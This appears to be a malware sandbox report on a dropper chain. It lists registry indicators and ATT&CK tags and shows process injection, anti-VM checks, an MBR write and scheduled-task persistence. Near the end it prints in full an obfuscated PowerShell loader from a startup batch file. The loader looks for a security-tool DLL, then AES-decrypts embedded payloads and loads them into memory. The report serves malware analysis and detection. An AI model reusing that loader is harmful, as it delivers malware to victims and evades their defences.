Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ViGgA8C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d2YQIJa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Ta3ZyUR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	futors.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	0bdfe5e472.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	eb297ca644.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DTQCxXZ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adf030da0c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e8aae7c912.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ba60aa84c6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dfb3dd74837e1f931c4456bd18eb5a8d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	con12312211221.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	01ccd043a7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	13Z5sqy.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7aencsM.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	monthdragon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sHN20me.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoDnGT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	monthdragon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qFqSpAp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TaVOM7x.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup_2024.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	3955c2bc0a.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f87108fa87.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eb297ca644.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jROrnzx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe

Checks processor information in registry 2 TTPs 25 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	m5UP2Yj.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	4c417d357a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	m5UP2Yj.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	7aencsM.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	7aencsM.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	4c417d357a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
5164	timeout.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Kills process with taskkill 10 IoCs

defense_evasion

pid	Process
1700	taskkill.exe
1948	taskkill.exe
5416	taskkill.exe
5320	taskkill.exe
5064	taskkill.exe
2232	taskkill.exe
2956	taskkill.exe
5156	taskkill.exe
5572	taskkill.exe
4144	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133843756050830439"	chrome.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-1874072718-2205492803-118941907-1000_Classes\Local Settings	firefox.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4148	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe
2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe
3568	skotes.exe
3568	skotes.exe
2068	01ccd043a7.exe
2068	01ccd043a7.exe
2068	01ccd043a7.exe
2068	01ccd043a7.exe
3512	Bjkm5hE.exe
3512	Bjkm5hE.exe
3512	Bjkm5hE.exe
3512	Bjkm5hE.exe
2440	Fe36XBk.exe
2440	Fe36XBk.exe
4852	powershell.exe
4852	powershell.exe
3856	ViGgA8C.exe
3856	ViGgA8C.exe
1208	powershell.exe
1208	powershell.exe
4344	powershell.exe
4344	powershell.exe
4344	powershell.exe
4124	DTQCxXZ.exe
4124	DTQCxXZ.exe
4124	DTQCxXZ.exe
4124	DTQCxXZ.exe
3856	ViGgA8C.exe
3856	ViGgA8C.exe
1432	d2YQIJa.exe
1432	d2YQIJa.exe
1432	d2YQIJa.exe
1432	d2YQIJa.exe
1432	d2YQIJa.exe
1432	d2YQIJa.exe
4732	skotes.exe
4732	skotes.exe
1508	sHN20me.exe
1508	sHN20me.exe
1508	sHN20me.exe
1508	sHN20me.exe
1508	sHN20me.exe
1508	sHN20me.exe
396	spoDnGT.exe
396	spoDnGT.exe
396	spoDnGT.exe
396	spoDnGT.exe
396	spoDnGT.exe
396	spoDnGT.exe
5072	Ta3ZyUR.exe
5072	Ta3ZyUR.exe
5072	Ta3ZyUR.exe
5072	Ta3ZyUR.exe
4852	qFqSpAp.exe
4852	qFqSpAp.exe
4852	qFqSpAp.exe
4852	qFqSpAp.exe
400	m5UP2Yj.exe
400	m5UP2Yj.exe
400	m5UP2Yj.exe
400	m5UP2Yj.exe
2932	BitLockerToGo.exe
2932	BitLockerToGo.exe
2932	BitLockerToGo.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeDebugPrivilege	4852	powershell.exe
Token: SeDebugPrivilege	3856	ViGgA8C.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeShutdownPrivilege	4652	chrome.exe
Token: SeCreatePagefilePrivilege	4652	chrome.exe
Token: SeDebugPrivilege	5064	taskkill.exe
Token: SeDebugPrivilege	4144	taskkill.exe
Token: SeDebugPrivilege	1700	taskkill.exe
Token: SeDebugPrivilege	2056	powershell.exe
Token: SeDebugPrivilege	1948	taskkill.exe
Token: SeDebugPrivilege	2232	taskkill.exe
Token: SeDebugPrivilege	376	firefox.exe
Token: SeDebugPrivilege	376	firefox.exe
Token: SeDebugPrivilege	5416	taskkill.exe
Token: SeDebugPrivilege	2956	taskkill.exe
Token: SeDebugPrivilege	5320	taskkill.exe
Token: SeDebugPrivilege	5156	taskkill.exe
Token: SeDebugPrivilege	5572	taskkill.exe
Token: SeDebugPrivilege	5568	firefox.exe
Token: SeDebugPrivilege	5568	firefox.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
4652	chrome.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
5944	msedge.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
1212	f87108fa87.exe
1212	f87108fa87.exe
1212	f87108fa87.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
1212	f87108fa87.exe
1212	f87108fa87.exe
1212	f87108fa87.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
376	firefox.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
4992	3955c2bc0a.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
1068	eb297ca644.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
1068	eb297ca644.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe
5568	firefox.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2876	setup.exe
376	firefox.exe
5568	firefox.exe
628	setup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2784 wrote to memory of 3568	2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe	87
PID 2784 wrote to memory of 3568	2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe	87
PID 2784 wrote to memory of 3568	2784	dfb3dd74837e1f931c4456bd18eb5a8d.exe	87
PID 3568 wrote to memory of 1652	3568	skotes.exe	88
PID 3568 wrote to memory of 1652	3568	skotes.exe	88
PID 3568 wrote to memory of 1652	3568	skotes.exe	88
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 1652 wrote to memory of 2068	1652	01ccd043a7.exe	90
PID 3568 wrote to memory of 4032	3568	skotes.exe	95
PID 3568 wrote to memory of 4032	3568	skotes.exe	95
PID 3568 wrote to memory of 4032	3568	skotes.exe	95
PID 3568 wrote to memory of 744	3568	skotes.exe	96
PID 3568 wrote to memory of 744	3568	skotes.exe	96
PID 3568 wrote to memory of 744	3568	skotes.exe	96
PID 3568 wrote to memory of 4196	3568	skotes.exe	97
PID 3568 wrote to memory of 4196	3568	skotes.exe	97
PID 3568 wrote to memory of 4196	3568	skotes.exe	97
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 4196 wrote to memory of 3512	4196	Bjkm5hE.exe	98
PID 3568 wrote to memory of 2440	3568	skotes.exe	101
PID 3568 wrote to memory of 2440	3568	skotes.exe	101
PID 3568 wrote to memory of 2440	3568	skotes.exe	101
PID 3568 wrote to memory of 4852	3568	skotes.exe	102
PID 3568 wrote to memory of 4852	3568	skotes.exe	102
PID 3568 wrote to memory of 4852	3568	skotes.exe	102
PID 3568 wrote to memory of 3856	3568	skotes.exe	104
PID 3568 wrote to memory of 3856	3568	skotes.exe	104
PID 3568 wrote to memory of 3856	3568	skotes.exe	104
PID 4852 wrote to memory of 3868	4852	powershell.exe	107
PID 4852 wrote to memory of 3868	4852	powershell.exe	107
PID 4852 wrote to memory of 3868	4852	powershell.exe	107
PID 3868 wrote to memory of 1552	3868	cmd.exe	109
PID 3868 wrote to memory of 1552	3868	cmd.exe	109
PID 3868 wrote to memory of 1552	3868	cmd.exe	109
PID 3868 wrote to memory of 1208	3868	cmd.exe	110
PID 3868 wrote to memory of 1208	3868	cmd.exe	110
PID 3868 wrote to memory of 1208	3868	cmd.exe	110
PID 3568 wrote to memory of 4124	3568	skotes.exe	111
PID 3568 wrote to memory of 4124	3568	skotes.exe	111
PID 3568 wrote to memory of 4124	3568	skotes.exe	111
PID 1208 wrote to memory of 4344	1208	powershell.exe	112
PID 1208 wrote to memory of 4344	1208	powershell.exe	112
PID 1208 wrote to memory of 4344	1208	powershell.exe	112
PID 3568 wrote to memory of 1688	3568	skotes.exe	113
PID 3568 wrote to memory of 1688	3568	skotes.exe	113
PID 3568 wrote to memory of 1688	3568	skotes.exe	113
PID 3568 wrote to memory of 1432	3568	skotes.exe	114
PID 3568 wrote to memory of 1432	3568	skotes.exe	114
PID 3568 wrote to memory of 1432	3568	skotes.exe	114
PID 4032 wrote to memory of 1964	4032	13Z5sqy.exe	115

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\dfb3dd74837e1f931c4456bd18eb5a8d.exe
"C:\Users\Admin\AppData\Local\Temp\dfb3dd74837e1f931c4456bd18eb5a8d.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks computer location settings
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2784
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Adds Run key to start application
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3568
- - C:\Users\Admin\AppData\Local\Temp\1014060001\01ccd043a7.exe
    "C:\Users\Admin\AppData\Local\Temp\1014060001\01ccd043a7.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1652
  - - C:\Users\Admin\AppData\Local\Temp\1014060001\01ccd043a7.exe
      "C:\Users\Admin\AppData\Local\Temp\1014060001\01ccd043a7.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2068
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 956
      4⤵
      Program crash
      PID:1564
- - C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe
    "C:\Users\Admin\AppData\Local\Temp\1034761001\13Z5sqy.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4032
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      PID:1964
- - C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe
    "C:\Users\Admin\AppData\Local\Temp\1039270001\jonbDes.exe"
    3⤵
    - Executes dropped EXE
    PID:744
- - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
    "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe
      "C:\Users\Admin\AppData\Local\Temp\1071208001\Bjkm5hE.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3512
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4196 -s 968
      4⤵
      Program crash
      PID:4448
- - C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe
    "C:\Users\Admin\AppData\Local\Temp\1071276001\Fe36XBk.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:2440
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1073578041\tYliuwV.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3868
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MyPayload.bat';$MoqZ='DeKyLvcoKyLvmprKyLveKyLvssKyLv'.Replace('KyLv', ''),'EJwaGlemJwaGeJwaGnJwaGtJwaGAtJwaG'.Replace('JwaG', ''),'CrgSdPegSdPagSdPtgSdPegSdPDecgSdPrypgSdPtorgSdP'.Replace('gSdP', ''),'EnAUSatAUSaryAUSaPAUSaoiAUSantAUSa'.Replace('AUSa', ''),'RifKyeaifKydifKyLiifKyneifKysifKy'.Replace('ifKy', ''),'CoIpkTpyIpkTTIpkToIpkT'.Replace('IpkT', ''),'LRxQFoRxQFaRxQFdRxQF'.Replace('RxQF', ''),'ChPYPIanPYPIgPYPIePYPIExPYPItenPYPIsioPYPInPYPI'.Replace('PYPI', ''),'SplhjTaihjTathjTa'.Replace('hjTa', ''),'IVERYnvoVERYkeVERY'.Replace('VERY', ''),'MaGACXinMGACXoduGACXlGACXeGACX'.Replace('GACX', ''),'GetEffVCuEffVrreEffVnEffVtPEffVroEffVceEffVsEffVsEffV'.Replace('EffV', ''),'TrgFlMagFlMnsgFlMfogFlMrmgFlMFingFlMalgFlMBgFlMlogFlMcgFlMkgFlM'.Replace('gFlM', ''),'FZnjbroZnjbmBaZnjbseZnjb64ZnjbSZnjbtZnjbrinZnjbgZnjb'.Replace('Znjb', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($MoqZ[11])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function OcByW($zyHkO){$MahHK=[System.Security.Cryptography.Aes]::Create();$MahHK.Mode=[System.Security.Cryptography.CipherMode]::CBC;$MahHK.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$MahHK.Key=[System.Convert]::($MoqZ[13])('AAMGkknb01QKxJVl43m9//ZRwVkG6pEiu9VVo6uyG5U=');$MahHK.IV=[System.Convert]::($MoqZ[13])('/W6oLxKJHKSzHfvUm38XsQ==');$RyLXH=$MahHK.($MoqZ[2])();$Vocox=$RyLXH.($MoqZ[12])($zyHkO,0,$zyHkO.Length);$RyLXH.Dispose();$MahHK.Dispose();$Vocox;}function dAZyU($zyHkO){$CHeOb=New-Object System.IO.MemoryStream(,$zyHkO);$PxKaw=New-Object System.IO.MemoryStream;$ikNUp=New-Object System.IO.Compression.GZipStream($CHeOb,[IO.Compression.CompressionMode]::($MoqZ[0]));$ikNUp.($MoqZ[5])($PxKaw);$ikNUp.Dispose();$CHeOb.Dispose();$PxKaw.Dispose();$PxKaw.ToArray();}$ygeKx=[System.IO.File]::($MoqZ[4])([Console]::Title);$WLLeN=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 5).Substring(2))));$PCQGF=dAZyU (OcByW ([Convert]::($MoqZ[13])([System.Linq.Enumerable]::($MoqZ[1])($ygeKx, 6).Substring(2))));[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$PCQGF).($MoqZ[3]).($MoqZ[9])($null,$null);[System.Reflection.Assembly]::($MoqZ[6])([byte[]]$WLLeN).($MoqZ[3]).($MoqZ[9])($null,$null); "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1552
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        5⤵
        Blocklisted process makes network request
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1208
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
